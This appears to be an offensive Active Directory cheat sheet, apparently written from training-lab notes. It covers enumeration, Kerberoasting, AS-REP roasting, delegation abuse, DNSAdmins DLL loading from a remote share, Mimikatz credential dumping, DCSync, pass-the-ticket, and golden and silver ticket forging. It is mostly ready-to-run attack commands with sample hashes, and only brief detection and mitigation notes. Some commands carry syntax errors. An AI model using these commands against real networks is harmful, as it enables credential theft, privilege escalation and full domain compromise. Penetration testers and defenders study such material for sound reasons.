Get-DomainObjectAcl -LDAPFilter '(objectCategory=groupPolicyContainer)' | ? { ($_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}$') -and ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner')}
```


# Domains

## Get Current Domain

```powershell
# AD Module
Get-ADDomain

# PowerView
Get-NetDomain
```

## Get Object of Another Domain

```powershell
# AD Module
Get-ADDomain -Identity lab.local

# PowerView
Get-NetDomain -Domain lab.local
```

## Get Domain SID for Current Domain

```powershell
# AD Module
(Get-ADDomain).DomainSID

# PowerView
Get-DomainSID
```

## Get Domain Policy for Current Domain

```powershell
# PowerView
Get-DomainPolicy
(Get-DomainPolicy)."System Access"
```

## Get Password Policy for Another Domain

```powershell
# PowerView
(Get-DomainPolicy -Domain lab.local)."System Access"
```

## Get Kerberos Policy for e.g. Mimikatz Golden Tickets

```powershell
# PowerView
(Get-DomainPolicy -Domain lab.local)."Kerberos Policy"
```

## Get Domain Controllers for Current Domain

```powershell
# AD Module
Get-ADDomainController

# PowerView
Get-NetDomainController
```

## Get Domain Controllers for Another Domain

```powershell
# AD Module
Get-ADDomainController -DomainName lab.local -Discover

# PowerView
Get-NetDomainController -Domain lab.local
```

## Enumerate All Gobal Catalogs in the Forest

```powershell
# PowerView
Get-ForestGlobalCatalog
```

## Turn a List of Computer Short Names to FQDNs, Using a Global Catalog

```powershell
# PowerView
gc computers.txt | % {Get-DomainComputer -SearchBase "GC://GLOBAL.CATALOG" -LDAP "(name=$_)" -Properties dnshostname}
```

## Enumerate the Current Domain Controller Policy

```powershell
# PowerView
$DCPolicy = Get-DomainPolicy -Policy DC
$DCPolicy.PrivilegeRights # user privilege rights on the dc...
```

## Enumerate the Current Domain Policy

```powershell
# PowerView
$DomainPolicy = Get-DomainPolicy -Domain bufu-sec.local
$DomainPolicy.KerberosPolicy # useful for golden tickets ;)
$DomainPolicy.SystemAccess # password age/etc.
```


# Trusts

## General

* Relationship between two domains or forest
* Trusted Domain Objects (TDOs) represent trust relationship in a domain
* Types of trusts
  * One-way: users in trusted domain can access resources in the trusting domain
  * Two-way trust: users of both domains can access resources in the other domain
  * Transitive: If A and B trust each other and B and C trust each other, A and C also trust each other (default between domains in same forest)
  * Non-transitive: cannot be extended to other domains in the forest (default between two domains in different forests)
  * Automatic trust: created automatically when creating new subdomain (parent-child, tree-root)
  * Shortcut trusts: used to reduce access time in complex trust scenarios
  * External trusts: between two domains in different forests when forests do not have a turst relationships
  * Forest trusts: between forest root domains

## Get All Trusts for the Current Domain

```powershell
# AD Module
Get-ADTrust
Get-ADTrust -Filter * | Select Source,Target,Direction

# PowerView
Get-NetDomainTrust
```

## Get Trusts for Specific Domain

```powershell
# AD Module
Get-ADTrust -Identity test.lab.local

# PowerView
Get-NetDomainTrust -Domain test.lab.local
```


# Forest Mappings

## Get Details about the Current Forest

```powershell
# AD Module
Get-ADForest
Get-ADForest -Identity lab.local

# PowerView
Get-NetForest
Get-NetForest -Forest lab.local
```

## Get All Domains in the Current Forest

```powershell
# AD Module
(Get-ADForest).Domains

# PowerView
Get-NetForestDomain
Get-NetForestDomain -Forest lab.local
```

## Get All Global Catalogs for the Current Forest

```powershell
# AD Module
Get-ADForest | Select -ExpandProperty GlobalCatalogs

# PowerView
Get-NetForestCatalog
Get-NetForestCatalog -Forest lab.local
```

## Map Trusts of a Forest

```powershell
# AD Module
Get-ADTrust -Filter 'msDS-TrustForestTrustInfo -ne "$null"'

# PowerView
Get-NetForestTrust
Get-NetForestTrust -Forest lab.local
```

## Map All Trusts in Current Forest

```powershell
# PowerView
Get-NetForestDomain |  Get-NetDomainTrust
```


# Files and Shares

## Find Shares on Hosts in Current Domain

```powershell
Invoke-ShareFinder -Verbose
```

## Find Shares from other Domain

```powershell
Invoke-ShareFinder -Domain lab.local
```

## Exclude Default Shares

```powershell
Invoke-ShareFinder -ExcludeStandard
```

## Show only Shares the Current User Has Access to

```powershell
Invoke-ShareFinder -CheckShareAccess
```

## Find Sensitive Files on Computers

```powershell
Invoke-FileFinder -Verbose
```

## Get All Fileservers

```powershell
Get-NetFileServer
```

## Use Alternate Credentials when Searching for Files

```powershell
# Find-InterestingDomainShareFile == old Invoke-FileFinder
$Password = "PASSWORD" | ConvertTo-SecureString -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential("DOMAIN\user",$Password)
Find-InterestingDomainShareFile -Domain Domain -Credential $Credential
```


# Kerbrute

## Overview

* Get precompiled binary for OS from <https://github.com/ropnop/kerbrute/releases>
* Does not trigger failed log on event
* Brute-force by sending only a single UDP frame to the KDC
* Enumerate users on the domain from a wordlist

## User Bruteforcing

```bash
# Username enumeration
kerbrute userenum --dc CONTROLLER.local -d CONTROLLER.local User.txt
```


# Privilege Escalation


# Kerberoasting

## Overview

* Request service ticket for any service with registered SPN
* Use ticket to crack service password
* Use BloodHound to find Kerberoastable accounts
* If service is a domain admin we can gather loot and dump the NTDS.dit
* If not, you can use it to log into other systems and pivot or escalate
* Use cracked password for password spraying

## Exploitation

### Find Accounts with SPN

```powershell
# Windows built-in
setspn -T DOMAIN -Q ​*/*

# PowerView
Get-NetUser -SPN | Select -ExpandProperty serviceprincipalname

# AD Module
Get-ADUser -Filter { ServicePrincipalName -ne "$null" } -Properties ServicePrincipalName
```

### Force Set SPN

If we have enough rights on user (GenericAll/GenericWrite) we can set an SPN for a user then request a TGS for it for Kerberoasting.

```powershell
# Enumerate the permissions for RDPUsers on ACLs using PowerView 3.0/dev
# Enumerate the permissions for RDPUsers on ACLs using PowerView 3.0/dev
Invoke-ACLScanner -ResolveGUIDs | ?{ $_.IdentityReferenceName -match "RDPUsers" }

# Check if user already has a SPN
# Using PowerView 3.0
Get-DomainUser -Identity support572user | Select serviceprincipalname

# Using AD Module
Get-ADUser -Identity support572user -Properties ServicePrincipalName | Select ServicePrincipalName

# Set a SPN for the user (must be unique in domain)
# Using PowerView 3.0
Set-DomainObject -Identity support572user -Set @{serviceprincipalname="dcorp/bufusvc"}

# Using AD Module
Set-ADUser -Identity support572user -ServicePrincipalNames @{Add="dcorp/bufusvc"}
```

### Extracting Tickets

```powershell
# PowerShell built-in
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local"

# PowerView
Request-SPNTicket -SPN "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local"

# Check if TGS has been granted
klist

# Extract tickets with mimikatz
Invoke-Mimikatz -Command '"kerberos::list /export"'

python.exe .\tgsrepcrack.py .\10k-worst-pass.txt ".\1-40a10000-student572@MSSQLSvc~dcorp-mgmt.dollarcorp.moneycorp.local-DOLLARCORP.MONEYCORP.LOCAL.kirbi"
```

### Extracting Hashes

```powershell
# Rubeus
# Find all kerberoastable users and save hashes to file
.\Rubeus.exe kerberoast /outfile:hashes.kirbi

# For specific SPN
.\Rubeus.exe kerberoast /spn:MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local /outfile:mssqlsvc.kirbi

# Using Invoke-Kerberoast.ps1
Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII ticket.kirbi

# Remotely with impacket
GetUserSPNs.py dcorp-dc/user:password -dc-ip 10.10.10.10 -request

# Crack hash with hashcat
hashcat -a 0 -m 13100 hash.txt rockyou.txt
```

## Detection

* Security event ID 4769: A Kerberos ticket was requested
* Filter results based on the following information from logs
  * Service name should not be krbtgt
  * Service name does not end with $ (to filter out machine accounts used for services)
  * Account name should not be machine\@domain (to filter out requests from machines)
  * Failure code is '0x0' (to filter out failures, 0x0 is success)
  * Most importantly, ticket encryption type is 0x17

```powershell
Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split"`n")[8] -ne 'krbtgt' -and $_.Message.split"`n")[8] -ne '*$' -and $_.Message.split"`n")[3] -notlike '*$@*' -and $_.Message.split"`n")[18] -like '*0x0*' -and $_.Message.split"`n")[17] -like "*0x17*"} | Select -ExpandProperty message
```

## Mitigation

* Strong service account passwords
* Don't make service accounts domain admins
* Use Managed Service Accounts (Automatic change of password periodically and delegated SPN Management)
* <https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/jj128431(v=ws.11)>


# AS-REP Roasting

## Overview

* Dump krbasrep5 hashes of user accounts without Kerberos pre-authentication
* Users do not have to be service accounts
* Must have pre-authentication disabled
* Can request any authentication data (encrypted TGT) for any user since KDC skips validation
* Crack dumped hash with hashcat

## Exploitation

### Force Disable Kerberos Preauth

```powershell
# Using PowerView 3.0/dev
# Enumerate permissions for RDPUsers on ACLS
Invoke-ACLScanner -ResolveGUIDS | ?{ $_.IdentityReferenceName -match "RDPUsers" }

# Disable preauth for user
Set-DomainObject -Identity Control572User -XOR @{useraccountcontrol=4194304} -Verbose
```

### Enumerate Users with Preauth Disabled

```powershell
# Using PowerView 3.0/dev
Get-DomainUser -PreauthNotRequired -Verbose | Select samaccountname

# Using AD Module
Get-ADUser -Filter { DoesNotRequirePreAuth -eq $true } -Properties DoesNotRequirePreAuth

# Query AS-REP-roastable users with impacket from Kali host
# Supply userlist and don't require authentication
GetNPUsers.py -dc-ip 10.10.149.145 -no-pass -usersfile users.txt -format hashcat -outputfile hashes.asrep spookysec.local/

# Dump KRBASREP5 hash for specific user and output in hashcat format to file
.\Rubeus.exe asreproast /user:control572user /format:hashcat /outfile:control572user.asrep

# Dump hashes with credentials using CrackMapExec
crackmapexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --asreproast output.txt

# Transfer hash onto attacker and insert 23$ after $krb5asrep$ so that the first line will be $krb5asrep$23$User.....
# Crack hash with hashcat
hashcat -a 0 -m 18200 hash.txt rockyou.txt
```

## Mitigation

* Strong password policy
* Enable Kerberos Pre-Authentication

## Further Reading

* [iRedTeam: AS-REP Roasting](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat)
* [XPN: Kerberos AD Attacks - More Roasting with AS-REP](https://blog.xpnsec.com/kerberos-attacks-part-2/)
* [harmj0y: Roasting AS-REPs](https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/)


# Constrained Delegation

## General

* When enabled on a service account, allows access only to specified services on specified computers as a user
* Typical scenario:
  * User authenticates to a web service without Kerberos
  * Web services makes requests to database server to fetch results based on the user's authorization
* To impersonate the user, Service for User (S4U) extension is used which provides two extensions

### Service for User to Self (S4U2self) Extension

* Allows service to obtain a forwardable TGS to itself on behalf of a user
* Only needs the user principal name but NO PASSWORD
* Service account must have the `TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION` - T2A4D UserAccountControl attribute set

### Service for User to Proxy (S4U2proxy) Extension

* Allows service to obtain a TGS to a second service on behalf of a user
* Uses the previously obtained TGS from S4U2self
* Only allows access to services listed in the `msDS-AllowedToDelegateTo` attribute
* Attribute contains list of SPNs to which the user tokens can be forwarded

## Example Scenario: Constrained Delegation with Protocol Transition

1. User (Joe) authenticates to web service running under `websvc` service account using non-Kerberos method
2. Web service requests ticket from KDC for Joe without supplying a password, as the websvc account
3. KDC checks the websvc userAccountControl value for TRUSTED\_TO\_AUTHENTICATE\_FOR\_DELEGATION attribute
4. If set, KDC checks that Joe's account is not blocked for delegation
5. If OK, KDC returns forwardable ticket for Joe's account (S4U2self)
6. Service passes ticket back to the KDC and requests a TGS for the CIFS/dcorp-mssql.dollarcorp.moneycorp.local service
7. KDC checks the msDS-AllowedToDelegateTo field on the websvc account
8. If SPN is listed there, KDC return TGS for dcorp-mssql (S4U2proxy)
9. Web service can now authenticate to the CIFS on dcorp-mssql as Joe using the obtained TGS

## Exploitation

### For Users with Constrained Delegation

* Requires access to the user/service account
* If we can access it, we can access all the listed services in msDS-AllowedToDelegateTo attribute
* Can access the services as ANY user

```powershell
# Enumerate users with constrained delegation enabled
# PowerView 3.0
Get-DomainUser -TrustedToAuth

# AD Module
Get-ADObject -Filter {msDS-AllowedToDelegateTo} -ne "$null"} -Properties msDS-AllowedToDelegateTo

# Kekeo
# Request TGT for websvc user
tgt::ask /domain:dollarcorp.moneycorp.local /user:websvc /rc4:cc098f204c5887eaa8253e7c2749156f

# Request TGS using s4u in Kekeo and supplying the requested TGT
# Impersonate the Administrator Domain Admin
# We gain access to the CIFS service
tgs::s4u /tgt:tgt.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:cifs/dcorp-mssql.dollarcorp.moneycorp.local

# Inject the ticket using mimikatz
Invoke-Mimikatz -Command '"kerberos::ptt tgs.kirbi"'

# We can do both steps at the same time using Rubeus
# Request TGT and TGS in a single command
.\Rubeus.exe s4u /user:websvc /rc4:cc098f204c5887eaa8253e7c2749156f /impersonateuser:Administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /ptt

# We can now access the CIFS service on dcorp-mssql as the dcorp\Administrator DA user
ls \\dcorp-mssql.dollarcorp.moneycorp.local\c$
```

### For Computers with Constrained Delegation

* Delegation occurs not only for specific service
* Occurs for ANY service running under the same service account
* No validation for SPN specified
* Requires hash of the machine account of the computer running with constrained delegation

```powershell
# Enumerate computers with constrained delegation enabled
# PowerView 3.0
Get-DomainComputer -TrustedToAuth

# AD Module
Get-ADObject -Filter {msDS-AllowedToDelegateTo} -ne "$null"} -Properties msDS-AllowedToDelegateTo

# Kekeo
# Request TGT for machine account
tgt::ask /domain:dollarcorp.moneycorp.local /user:dcorp-adminsrv$ /rc4:5e77978a734e3a7f3895fb0fdbda3b96

# Using s4u, request TGS to access the LDAP service as the DA Adminstrator
tgs::s4u /tgt:tgt.kirbi /user:Administrator@dollarcorp.moneycorp.LOCAL /service:time/dcorp-dc.dollarcorp.moneycorp.local|ldap/dcorp-dc.dollarcorp.moneycorp.LOCAL

# Inject ticket into memory with Mimikatz
Invoke-Mimikatz -Command '"kerberos::ptt tgs.kirbi"'

# Request TGS and TGT at the same time with Rubeus
.\Rubeus.exe s4u /user:dcorp-adminsrv$ /rc4:5e77978a734e3a7f3895fb0fdbda3b96 /impersonateuser:Administrator /msdsspn:"time/dcorp-dc.dollarcorp.moneycorp.local" /altservice:ldap /ptt

# Execute DCSync attack with new permissions
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
```

## Mitigation

* Disable Kerberos delegation where possible
* Limit DA/Admin logins to specific services
* Set "Account is sensitive and cannot be delegated" for privileged accounts

## Further Reading

* [iRedTeam: Kerberos Constrained Delegation](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation)
* [HackTricks: Constrained Delegation](https://book.hacktricks.xyz/windows/active-directory-methodology/constrained-delegation)
* [PayloadsAllTheThings: Kerberos Constrained Delegation](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#kerberos-constrained-delegation)
* [ShenanigansLabs: Wagging the Dog](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html)


# Unconstrained Delegation

## General

* When set for service account, allows delegation to any service to any resource on the domain as a user
* When enabled, DC places user's TGT inside TGS when user requests access to service with unconstrained delegation enabled
* Server extracts TGT from TGS and stores it in LSASS
* Server can reuse the user's TGT to access resoruces
* Escalate privileges when extracting TGT from Domain Admins or other HVTs
* Note: need local admin access on the machine to extract tickets

## Exploitation

```powershell
# Get computers that have unconstrained delegation enabled
# Using PowerView
Get-NetComputer -Unconstrained

# Using AD Module
Get-ADComputer -Filter { TrustedForDelegation -eq $true }
Get-ADUser -Filter { TrustedForDelegation -eq $true }

# ldapdomaindump
ldapdomaindump -u "DOMAIN\\Account" -p "Password123*" 10.10.10.10   
grep TRUSTED_FOR_DELEGATION domain_computers.grep

# CrackMapExec
crackmapexec ldap 10.10.10.10 -u username -p password --trusted-for-delegation

# Monitor DA logins on computer
Invoke-UserHunter -ComputerName dcorp-appsrv -Poll 100 -UserName Administrator -Delay 5 -Verbose

# Check if we have local admin access on that machine using PowerView
Find-LocalAdminAccess -ComputerName dcorp-appsrv

# Get session on machine as local admin and check for tickets
Invoke-Mimikatz -Command '"sekurlsa::tickets"'

# Export tickets
Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'

# Inject ticket into session
Invoke-Mimikatz -Command '"kerberos:ptt ticket.kirbi"'
```

## Printer Bug

* Trick HVT to connect to machine with Unconstrained Delegation enabled
* Force Domain Admin to connect to specific machine
* <https://github.com/leechristensen/SpoolSample>

```powershell
# Start capturing for TGTs using Rubeus
.\Rubeus.exe monitor /interval:5 /nowrap

# Run MS-RPRN.exe
.\MS-RPRN.exe \\dcorp-dc.dollarcorp.moneycorp.local \\dcorp-appserv.dollarcorp.moneycorp.local

# From https://github.com/leechristensen/SpoolSample
.\SpoolSample.exe VICTIM-DC-NAME UNCONSTRAINED-SERVER-DC-NAME
.\SpoolSample.exe DC01.HACKER.LAB HELPDESK.HACKER.LAB
# DC01.HACKER.LAB is the domain controller we want to compromise
# HELPDESK.HACKER.LAB is the machine with delegation enabled that we control.

# From https://github.com/dirkjanm/krbrelayx
printerbug.py 'domain/username:password'@<VICTIM-DC-NAME> <UNCONSTRAINED-SERVER-DC-NAME>

# From https://gist.github.com/3xocyte/cfaf8a34f76569a8251bde65fe69dccc#gistcomment-2773689
python dementor.py -d domain -u username -p password <UNCONSTRAINED-SERVER-DC-NAME> <VICTIM-DC-NAME>

# Copy base64 encoded TGT, remove extra spaces and inject it on attacker machine
.\Rubeus.exe ptt /ticket:ticket.kirbi

# Run DCSync
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
```

## Mitigation

* Limit DA/Admin logins to specific servers
* Set "Account is sensitive and cannot be delegated" for privileged accounts

## Further Reading

* [HackTricks: Unconstrained Delegation](https://book.hacktricks.xyz/windows/active-directory-methodology/unconstrained-delegation)
* [PayloadsAllTheThings: Kerberos Unconstrained Delegation](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#kerberos-unconstrained-delegation)
* [iRedTeam: Kerberos Unconstrained Delegation](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation)
* [iRedTeam: Domain Compromise via DC Print Server and Kerberos Delegation](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-delegation)
* [Security Focus: Analysing Account is Sensitive and cannot be Delegated for Privileged Accounts](https://docs.microsoft.com/en-us/archive/blogs/poshchap/security-focus-analysing-account-is-sensitive-and-cannot-be-delegated-for-privileged-accounts)
* [SpecterOps: Hunting in Active Directory: Unconstrained Delegation & Forest Trusts](https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1)


# DNS Admins

## General

* Members of the DNS Admins group can load arbitrary DLL's with the privileges of dns.exe (SYSTEM)
* If the DC serves as DNS server, we can escalate to DA
* But: need to be able to restart the DNS on the DC

## Exploitation

* Can use mimilib.dll from mimikatz
* Modify kdns.c or use boiler plate from [here](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise)
* mimilib.dll logs all DNS queries to C:\Windows\System32\kiwidns.log by default
* Host DLL on SMB server with anonymous access
* Be careful, else DNS might fail -> noisy!

```powershell
# Enumerate members of DNSAdmins group
# Using PowerView 3.0
Get-DomainGroupMember "DNSAdmins"

# Using AD Module
Get-ADGroupMember -Identity "DNSAdmins"

# With privileges of DNSAdmins member, e.g. through PTH, configure DLL
# Using dnscmd.exe (needs RSAT DNS)
dnscmd dcorp-dc /config /serverlevelplugindll \\172.16.72.100\dll\mimilib.dll

# Using DNSServer module (needds RSAT DNS)
$dnsettings = Get-DNSServerSetting -ComputerName dcorp-dc -Verbose -All
$dnsettings.ServerLevelPluginDll = "\\172.16.72.100\dll\mimilib.dll"
Set-DnsServerSetting -InputObject $dnsettings -ComputerName dcorp-dc -Verbose

# Restart DNS service
sc \\dcorp-dc stop dns
sc \\dcorp-dc start dns
```


# Lateral Movement


# PS Remoting

## General

* `psexec` on steroids, enabled by default from Server 2012
* Might need to enable it on Desktop, admin privs required -> `Enable-PSRemoting`
* Opens elevated shell on target if admin creds used
* Two types:
  * One-to-one
  * One-to-many

## One-to-One - PSSession

* Interactive
* Runs in new process (`wsmprovhost`)
* Stateful

```powershell
# Enter interactive prompt on remote system for one-time use
Enter-PSSession -ComputerName ws01.lab.local

# Enter previously created session
$Sess = New-PSSession -ComputerName ws01.lab.local
Enter-PSSession -Session $Sess

# With credentials
# With GUI access
$cred = Get-Credential
Enter-PSSession -ComputerName ws01.lab.local -Credential $cred

# Without GUI access
$password = ConvertTo-SecureString "MyPlainTextPassword" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential ("username", $password)
Enter-PSSession -ComputerName ws01.lab.local -Credential $cred

# Create persistent environment on remote system to be used in subsequest Invoke-Command calls or entered later with Enter-PSSession. Useful for scripts
New-PSSession -ComputerName ws01.lab.local
```

## One-to-Many - Fan-out Remoting

* Non-interactive
* Executes commands in parallel
* Run commands and scripts on
  * multiple remote computers
  * in disconected sessions
  * as background jobs
* Good for pass-the-hash attacks and password spraying

```powershell
# Execute command or scriptblock
Invoke-Command -Scriptblock {$ExecutionContext.SessionState.LanguageMode} -ComputerName (Get-Content hosts.txt)

# Execute scripts from files
Invoke-Command -FilePath C:\scripts\Get-PassHashes.ps1 -ComputerName (Get-Content hosts.txt)

# Execute locally loaded function on remote machines
Invoke-Command -Scriptblock ${function:Get-PassHashes} -ComputerName (Get-Content hosts.txt)

# Pass arguments. Can only be used for positional arguments
Invoke-Command -Scriptblock ${function:Get-PassHashes} -ComputerName (Get-Content hosts.txt) -ArgumentList

# Execute "stateful" commands using Invoke-Command
$Sess = New-PSSession -ComputerName ws01.lab.local
Invoke-Command -Session $Sess -ScriptBlock {$Proc = Get-Process}
Invoke-Command -Session $Sess -ScriptBlock {$Proc.Name}
```


# Credential Dumping

## Invoke-Mimikatz

```powershell
# Dump on local machine
Invoke-Mimikatz -DumpCreds

# Dump credentials on multiple remote machiens through PSRemoting cmdlet Invoke-Command
Invoke-Mimikatz -DumpCreds -ComputerName @("sys1", "sys2")
```


# DC Sync

## Locally

```powershell
# DCSync locally with mimikatz for specific user
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
```

## Remotely

```powershell
# Get NTDS.dit via Impacket secretsdump remotely
secretsdump.py -dc-ip 10.10.149.145 spookysec.local/backup:backup2517860@10.10.149.145
```


# Overpass the Hash

## General

* Similar to pass-the-hash
* Creates valid kerberos ticket from NTLM hash of user
* Able to access any domain service and not just services that support NTLM authentication like in PTH attacks

## Exploitation with Invoke-Mimikatz

```powershell
Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:lab.local /ntlm:<HASH> /run:powershell.exe"'
```


# Ticket Harvesting

## Harvesting Tickets

```powershell
# Harvest for TGTs every 30 seconds
Rubeus.exe harvest /interval:30
```

## Brute-forcing / Password-spraying

```powershell
Rubeus.exe brute /password:Password1 /noticket
```


# Pass the Ticket

## Overview

* Use mimikatz to dump TGT from LSASS memory
* Will give us .kirbi ticket which can be used to gain domain admin if ticket is from domain admin
* Reuse old ticket to impersonate that ticket
* Can also use base64-encoded tickets gathered with Rubeus
* Look for Administrator tickets

## Exploitation

```powershell
# Start mimikatz and get SYSTEM
mimikatz.exe
privilege::debug
token::elevate

# Export all .kirbi tickets to current directory
sekurlsa::tickets /export

# PTT with mimikatz
kerberos::ptt <ticket>

# List cached tickets
klist
```

## Mitigation:

* Don't let domain admins log onto anything except the domain controller


# Persistence


# Golden Tickets

## General

* Golden ticket is signed and ecrypted by hash of krbtgt account, making it a valid TGT ticket
* Since user account validation is not done by the DC/KDC until TGT is older than 20 minutes, we can use even deleted/revoked accounts
* krbtgt user hash could be used to impersonate any user with any privileges from even a non-domain machine
* Password change has no effect on this attack

## Exploitation

### Arguments

| Argument                                      | Description                                                                                                                                           |
| --------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------- |
| kerberos::golden                              | Module name                                                                                                                                           |
| /domain:domain:dollarcorp.moneycorp.local     | Domain FQDN                                                                                                                                           |
| /sid:S-1-5-21-1874506631-3219952063-538504511 | SID of the domain                                                                                                                                     |
| /krbtgt:ff46a9d8bd66c6efd77603da26796f35      | NTLM hash of the krbtgt account. Use /aes128 and /aes256 for using AES                                                                                |
| /User:Administrator                           | Username for which the TGT is generated                                                                                                               |
| /id:500 /groups:512                           | Optional User RID (default 500) and Group default 513 512 520 518 519)                                                                                |
| /startoffset:0                                | Optional when the ticket is available (default 0 right now) in minutes. Use negative for a ticket available from past and a larger number for future. |
| /endin:600                                    | Optional ticket lifetime (default is 10 years) in minutes. The default AD setting is 10 hours = 600 minutes                                           |
| /renewmax:10080                               | Optional ticket lifetime with renewal (default is 10 years) in minutes. The default AD setting is 7 days = 100800                                     |
| /ptt                                          | Inject ticket in current PowerShell process                                                                                                           |
| /ticket                                       | Save ticket to file for later use                                                                                                                     |

### Commands

```powershell
# Execute mimikatz on DC as DA to get krbtgt hash
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName "dcorp-dc"

# Use DCSync with DA privileges to get krbtgt hash
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'

# On any machine
# Inject ticket into current PowerShell session
Invoke-Mimikatz -Command '"kerberos::golden /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /User:Administrator /id:500 /groups:512 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'

# Save ticket to file for later use
Invoke-Mimikatz -Command '"kerberos::golden /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /User:Administrator /id:500 /groups:512 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /startoffset:0 /endin:600 /renewmax:10080 /ticket:krbtgt.kirbi"'

# Get domain policy for tickets to set appropriate values
(Get-DomainPolicy -Domain lab.local)."Kerberos Policy"

# Use AES keys to avoid downgrading encryption and generating abnormal traffic/alerts
Invoke-Mimikatz -Command '"kerberos::golden /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /User:Administrator /id:500 /groups:512 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /aes128:AES128KEY /aes256:AES256KEY /startoffset:0 /endin:600 /renewmax:10080 /ticket:krbtgt.kirbi"'

# Inject ticket into current session
Invoke-Mimikatz -Command '"kerberos::ptt krbtgt.kirbi"'
```

### Executing Commands / Getting a Shell

```powershell
# Inject ticket and open command prompt in current context
Invoke-Mimikatz -Command '"kerberos::ptt krbtgt.kirbi" "misc::cmd"'

# Open command prompt on other machine
PsExec.exe -AcceptEULA \\dcorp-dc cmd.exe

# Run command using WMI
gwmi -Class win32_computersystem -ComputerName dcorp-dc.dollarcorp.moneycorp.local
```

## Detection

* Event IDs:
  * 4624: Account Logon
  * 4634: Account Logoff
  * 4672: Admin Logon

```powershell
Get-WinEvent -FilterHashtable @{Logname='Security';ID=4672} -MaxEvents 1 | Format-List -Property *
```


# Silver Tickets

## General

* A valid TGS
* Encrypted and signed by NTLM hash of the target service account
* Services rarely check PAC (Privileged Attribute Certificate)
* Services will allow access only to the services themselves
* Reasonable persistence period (detauled 30 days for computer accounts)

## Exploitation

### Arguments

| Argument                                      | Description                                                                                                                                           |
| --------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------- |
| kerberos::golden                              | Name of the module (there is no Silver module!)                                                                                                       |
| /domain:domain:dollarcorp.moneycorp.local     | Domain FQDN                                                                                                                                           |
| /sid:S-1-5-21-1874506631-3219952063-538504511 | SID of the domain                                                                                                                                     |
| /target:dcorp dc.dollarcorp.moneycorp.local   | Target server FQDN                                                                                                                                    |
| /User:Administrator                           | Username for which the TGT is generated                                                                                                               |
| /id:500 /groups:512                           | Optional User RID (default 500) and Group (default 513 512 520 518 519)                                                                               |
| /service:cifs                                 | The SPN name of the target service for the TGS                                                                                                        |
| /rc4:6f5b5acaf7433b3282ac22e21e62ff22         | NTLM (RC4) hash of the service/machine account (\<MACHINE-NAME$>). Use /aes128 and /aes256 for using AES keys.                                        |
| /startoffset:0                                | Optional when the ticket is available (default 0 right now) in minutes. Use negative for a ticket available from past and a larger number for future. |
| /endin:600                                    | Optional ticket lifetime (default is 10 years) in minutes. The default AD setting is 10 hours = 600 minutes                                           |
| /renewmax:10080                               | Optional ticket lifetime with renewal (default is 10 years) in minutes. The default AD setting is 7 days = 100800                                     |
| /ptt                                          | Injects the ticket in current PowerShell process no need to save the ticket on disk                                                                   |

### Commands

```powershell
# Check Kerberos ticket policy using PowerView
(Get-DomainPolicy -Domain lab.local)."Kerberos Policy"

# Execute mimikatz on DC as DA to get dcorp-dc$ (machine account) hash
Invoke-Mimikatz -Command '"lsadump::lsa /patch /user:dcorp-dc$"' -ComputerName "dcorp-dc"

# Using hash of the DC computer account, below command provides access to shares on the DC
# Similar command can be used for any other service on a machine
# Example services: HOST, RPCSS, WSMAN
Invoke-Mimikatz -Command '"kerberos::golden /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /target:dcorp-dc.dollarcorp.moneycorp.local /user:Administrator /service:CIFS /rc4:d32ef7a25657da14a143e0185488a1a3 /ptt"'

# Use proper values from kerberos policy and AES keys to be stealthier
